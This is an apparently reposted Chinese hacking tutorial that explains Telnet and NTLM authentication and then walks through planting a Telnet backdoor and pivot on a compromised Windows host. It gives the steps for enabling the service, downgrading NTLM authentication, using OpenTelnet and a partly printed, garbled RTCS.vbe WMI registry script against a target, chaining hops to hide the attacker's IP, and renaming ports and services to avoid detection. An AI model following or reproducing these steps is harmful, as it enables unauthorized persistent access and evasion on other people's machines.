Telnet是传输控制协议/因特网协议(TCP/IP)网络(例如Internet)的登录和仿真程序。它最初是由ARPANET开发的,但是现在它主要用于Internet会话。它的基本功能是,允许用户登录进入远程主机系统。Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),Telnet一方面可以用来管理计算机,另外它也经常被***者用作后门或者跳板。
  分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记账方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为“登录”。远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。
  使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。
  Telnet远程登录服务分为以下4个过程:
  (1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的IP地址或域名;
中国网管联盟www、bitsCN、com
  (2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;
  (3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;
  (4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。
  Windows 2000以及后续Windows版本都自带了Telnet客户机和服务器程序,Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还提供了Telnet服务器管理程序tlntadmn.exe。Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面就介绍如何操作telnet服务以及修改注册表的值,在远程服务器上留后门和做跳板。
  1、设置并启动Telnet服务
  在Dos中运行“services.msc”命令打开服务管理器,找到“Telnet”服务后,双击打开,如图1所示,然后单击“启动”按钮将“Telnet”服务启动,并更改该服务的启动类型为“自动”。
 
  
  图1 设置Telnet服务
  2、使用telnet客户端登陆远程服务器
中国网管联盟www、bitsCN、com

  在Dos提示符下使用“telnet 218.*.*.*”登陆远程telnet服务器,由于在服务器端没有修改注册表中的NTLM值,因此会出现登陆失败的提示,如图2所示。
 
  
  图2登陆远程Telnet服务器
  &说明
(1)NTLM身份验证选项,默认值是2。为“0”表示不使用 NTLM 身份验证;为“1”表示先尝试NTLM身份验证,如果失败,再使用用户名和密码;为“2”表示只使用 NTLM 身份验证。
  (2)Telnet 服务器侦听 telnet 请求的端口默认是“23”,可以通过Telnet服务器管理程序更改默认端口为其他端口。
  (3)早期的SMB协议在网络上明文传输口令,后来出现了“LAN Manager Challenge/Response”验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。在Telnet中Windows默认采用NTLM认证。
  (4)NTLM工作流程:客户端首先在本地加密当前用户的密码成为密码散列,然后客户端向服务器明文发送自己的帐号,服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战);客户端再用加密后的密码散列来加密这个challenge,然后把这个返回给服务器。作为 response(响应);服务器把用户名、给客户端的challenge、客户端返回的 response这三个东西,发送域控制器;域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密challenge;域控制器比较两次加密的 challenge,如果一样,那么认证成功。 中国网管联盟 www.bitscn.com
 
    3、使用Telnet服务器管理程序更改设置
  在肉鸡上输入“tlntadmn”命令,如图3所示,然后输入数字“3”,选择“显示/更改注册表设置”。
 
  
  图3 修改注册表值
  &说明
  (1)在Telnet服务器管理程序中还有其它五个输入选项:输入“0”退出管理程序,输入“1”列出当前用户,输入“2”结束一个用户的会话,输入“4”开始服务,输入“5”停止服务。
  (2)在Windows Xp中不能使用Telnet服务器管理程序直接进行管理,只能通过命令行方式进行管理,输入“tlntadmn /?”可以查看其详细帮助。
【转自 www.bitsCN.com
---------------------------------------------------------------------------------
4、修改注册表中的NTLM值
  如图4所示,在菜单中选择“7”,接着输入“y”确认修改,然后输入“0”以及输入“y”确认修改,最后输入“0”退出当前菜单。
 
  
  图4修改NTLM的值为“0”
  &说明
  (1)本案例是在控制对方计算机的情况下,特别是开启了远程终端的情况下,通过这种方式比较简便;其实还有其它两种方式,比如使用opentelnet.exe(需要管理员权限且开启IPC管道)以及使用RTCS脚本(需要管理员权限但不依赖IPC管道)。
  (2)OpenTelnet 的具体使用方式为:“OpenTelnet.exe \\server username password NTLMAuthor telnetport”,其中NTLMAuthor(验证方式)值填0或1。
  (3)RTCS.vbe 脚本的使用方式为:“cscript RTCS.vbe targetIP username password NTLMAuthor telnetport”,RTCS.vbe代码如下:
  on error resume next
  set outstreem=wscript.stdout
  if (lcase(right(wscript.fullname,11))="wscript.exe") then
  set objShell=wscript.createObject("wscript.shell")
  objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) 中国网管联盟 www.bitscn.com
  wscript.quit
  end if
  if wscript.arguments.count
  usage()
  wscript.echo "Not enough parameters."
  wscript.quit
  end if
  ipaddress=wscript.arguments(0)
  username=wscript.arguments(1)
  password=wscript.arguments(2)
  ntlm=wscript.arguments(3)
  port=wscript.arguments(4)
  if not isnumeric(ntlm) or ntlm2 then
  usage()
  wscript.echo “The value of NTML is wrong.”
  wscript.quit
  end if
  if not isnumeric(port) then
  usage()
  wscript.echo “The value of port is wrong.”
  wscript.quit
  end if
  usage()
  outstreem.write “Conneting “&ipaddress&”….”
  set objlocator=createobject(”wbemscripting.swbemlocator”)
  set objswbemservices=objlocator.connectserver(ipaddress,”root/default”,username,password)
  showerror(err.number)
  outstreem.write “Setting NTLM=”&ntlm&”….”
54com.cn

  set objinstance=objswbemservices.get(”stdregprov”)
  set objmethod=objinstance.methods_(”SetDWORDvalue”)
  set objinparam=objmethod.inparameters.spawninstance_()
  objinparam.hdefkey=&h80000002
  objinparam.ssubkeyname=”SOFTWARE\Microsoft\TelnetServer\1.0〃
  (4)通过Telnet服务器管理程序修改注册表的值后需要重启计算机才能使修改生效。
  5、登陆远程Telnet服务器
  使用“telnet ip”命令再次登陆远程Telnet服务器,如图5所示,输入该IP地址的管理员的用户名和密码,验证通过后进入Telnet。
 
  
  图5 登陆远程Telnet服务器
  &说明
  (1)登陆telnet成功后,在telnet客户端中就如同在本地的DOS提示符下操作一样,可以执行各种命令,如图6所示,可以查看网络连接情况。
 
  
  图6 查看网络连接情况
  (2)使用多重telnet可以达到隐藏自身IP的目的,也就是常说的代理功能,也就是先联入第一个Telnet服务器,然后在第一个Telnet服务器的基础上再联入第二个Telnet服务器,再联入第N个Telnet服务器。这样就不容易被发现了。 中国网管论坛bbs.bitsCN.com
  (3)使用Telnet作为后门时可以更改telnet的默认端口23为其它端口,这样就更隐蔽了。修改端口后,还可以更改Telnet的服务名称。
  (4)有的路由器的telnet端口也开放了,如果知道其用户名和密码,将其作为跳板,其效果非常好。
  小结
  到此一个简单的Telnet后门和跳板也就制作成功了,以后就可以使用Telnet来作为跳板来执行各种操作
【转自 www.bitsCN.com